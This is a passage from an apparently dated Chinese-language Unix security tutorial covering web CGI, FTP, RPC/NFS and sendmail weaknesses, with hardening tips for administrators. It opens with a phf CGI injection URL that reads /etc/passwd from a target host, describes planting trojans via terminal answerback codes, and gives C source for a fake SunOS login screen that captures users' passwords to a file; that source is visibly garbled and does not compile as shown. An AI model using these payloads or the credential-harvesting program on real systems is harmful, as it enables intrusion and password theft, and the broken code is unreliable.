lynx http://www.victim.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd


这样便可以阅览到服务器中的passwd文件。


对于WEB服务器的安全,管理员需要经常检查自己服务器所使用的网络脚本程序的主页,看看是否有新
的漏洞,并且密切检测Web日志,还有注意的是最好架立TLS/SSL,详细情况可以访问自己服务器制作商
的网站。

FTP

FTP 是一个标准协议,它是在计算机和网络之间交换文件的最简单的方法。象传送可显示文件的HTTP和
电子邮件的SMTP一样,FTP也是应用TCP/IP协议的应用协议标准。FTP通常用于将网页从创作者上传到
服务器上供人使用,而从服务器上下传文件也是一种非常普遍的使用方式。

FTP服务可以用来下载或上传任何类型的文件,而且非常方便的就是它可以通过匿名访问。网上有许多
匿名FTP服务站点,上面有许多免费软件,图片、游戏,匿名FTP是人们常使用的一种服务方式。FTP服
务的安全性要好一些,起码它需要用户输入用户名和口令,当然匿名FTP服务就象匿名WWW服务是不需要
口令的,但用户权力会受到严格的限制。匿名FTP存在一定的安全隐患,因为有些匿名FTP站点提供可写
区给用户,这样用户可以上载一些软件到站点上。匿名FTP服务的安全很大程度上决定于一个系统管理
员的水平,一个低水平的系统管理员很可能会错误配置权限,从而被黑客利用破坏整个系统。

做为一个FTP服务站点,管理员应该注意以下几点:

1. 如果不需要的话,在/etc/inetd.conf去掉ftpd

2. 注意FTP软件最新的漏洞,例如wu-ftpd,

3. 配置/etc/ftpusers来列出系统帐号,这样他们便不可使用ftp。

4. 如果在/etc/passwd中使用非标准的shell的话,需要升级/etc/shells。

5. 利用tcp wrappers限制ip地址来保护ftp.

6. 使用授权登陆。


对于匿名FTP站点,需要注意:

1. 需要非常小心的配置。

2. 将硬盘分区,把ftp目录放置在一个单独的区上面,并将其设置为NOSUID。

3. 小心的设置目录及文件的限权。

4. 避免允许上传,如果必须的话,不要允许用户下载上传过的文件,隐藏上传文件的名字,
而且不要允许他们被重写。

RPC

远程调RPC(Remote Procedure Call)是一个非常方便的机制,他是一种高阶的 IPC (Inter-
Process communication) 机制,有两种流派
。一个是ONC,架在 TCP 或 UDP 之上(後来也架在 OSI 之上), 使用 XDR 来做资料的编码。还有一
个是DCE,它具有不同的 RPC 机制 (根
据 Apollo 的 NCS)。其中最著名的服务就是NFS,它实现了不同机器,不同操作系统之间透明的文件共
享.它是以问答为基础的系统。你发送
一个初始提问字节,系统将回复一个进程。
不幸的是,RPC上的漏洞导致了许多电脑被入侵。特别是NFS服务,通常NFS鉴别一个写文件的请求时是
鉴别发出这个请求的机器,而不是用户.因而,在基于NFS的文件系统中,运行su命令而成为某个文件的拥
有者并不是一件困难的事情.同样,rlogin命令使用的是与NFS同样的鉴别机制,也存在与NFS一样的在安
全性方面的弱点.

SENDMAIL

sendmail是由Berkeley大学开发的电子邮件收发程序,属于免费软件,大家可以从因特网上下载自由
安装。经过维护开发人员多年的努力,sendmail的平台适应性大幅度提高,可以运行在大多数UNIX和
类UNIX主机上面,包括SunOS,HP-UX,IRIX,AIX,LINUX等。 对于一般通信量的用户来说,
sendmail在不考虑宿主服务器性能的前提下,可以支持高达数万个用户的电子邮件通信服务,所以,
sendmail对于一般站点的邮件通信是完全可以胜任的。目前,它承当着大部分因特网上电子邮件的收发
工作。但是sendmail早期版本的漏洞很多,管理员如果不注意及时升级的话,很容易给黑客留下可乘之
机。




黑客们的把戏

可编程终端(Programmable Terminals)

在我非常熟悉的一套系统上面有一个程式,它建造在终端里面并且有一个回应选项。这个程式被人们广
泛的使用着,不过许多入侵者都在使用这个功能将木马放置在/tmp目录中。一个无辜的受害者坐在一个
终端前面,入侵者会发送给受害者一封信。这个信息将包含一个控制字节(CTRL-E);受害者收到入侵者
的信息后便去阅读它。当信显示在显屏上时,它将引发回应中的信息串。当信息串被引发后,通常会做
出以下的动作:锁住显屏的输出,退出信件然后执行木马并且将木马放置在公共路径中。对于这种攻击
方式,我建议你如果你的终端有回应设置,在访问公用终端时重新设置它,不过大部分系统都没有这个
功能。


登陆欺骗

有很多办法可以让黑客得到一个系统上更多的密码,登陆欺骗就是其中之一。欺骗(spoof)是一种能
让一个用户或一个系统相信那个伪装电脑的程式是真的一种手段。欺骗技术使用的方面很广泛,包括大
家熟悉的ip欺骗等,其中一个非常流行的欺骗程序是“学校男孩登陆陷阱”(school boy login
trap)。通过显示一个伪造的登陆画面,入侵者可以获得许多在这个系统上的用户的密码。这种方法取
得密码的范围很广,而且在一些教育组织的系统里经常可以找到。


当你登陆到一个UNIX系统上时,你将看到一些类似这样的东西:

SunoS UNIX (machine)

login: root

Password:

Login incorrect


黑客留下这个登陆欺骗程序,并且使用一个帐号运行它。过了一会儿,一个受害者试图登陆到这个系统
上去。当他们登陆失败时,通常会看到一个提示信息例如“登陆错误”(Login incorrect)。这时受
害者想他刚才可能打字打的太快,所以打错了密码,于是他又一次尝试登陆,但他怎么也不会想到这其
实是一个陷阱。第二次登陆时,这个欺骗程序将执行真正的登陆程序,受害者成功的登陆进了系统,还
暗暗嘲笑自己的打字水平。就是这样,入侵者又成功的得到了另外一个帐号的密码。解决这种类似的欺
骗方法,在大多数系统中显示你尝试登陆的次数。你应该警惕并且鉴别这个数字和你实际登陆的次数。


下面这个便是一个基础的登陆欺骗程序。

#include

#include

#define login-length 10 /* Change for your system #define passw@length 16

FILE * output-file;

void maino

int i;

char login[login-lengthl;

char passwd;

output-file = fopen(ICAPTUREI,Ial);

clrscro;

printf (,\n\n\nSunos UNIX (machine) \nl);

printf (,\nlogin: 1);

scanf (,%s",login);

fprintf (output_file,'\nlogin : %s\npassword ',login); printf ('Password: ");

for (i=O; i <= passw@length-1; i++)

fprintf (output_file,'%cl,passwd=getcho);

if (passwd == 1\151)

i=passw@length;

fclose (output-file);

sleep(l);

printf (,\nLogin incorrect');

(*issue a system logout command to bring back the real (*login prompt


这个程序将模仿SunOS的登陆界面,并且把骗到的密码储存在你当前目录中的"capture"文件中,稍稍
修改一下它便可以模仿其它操作系统的登陆程序。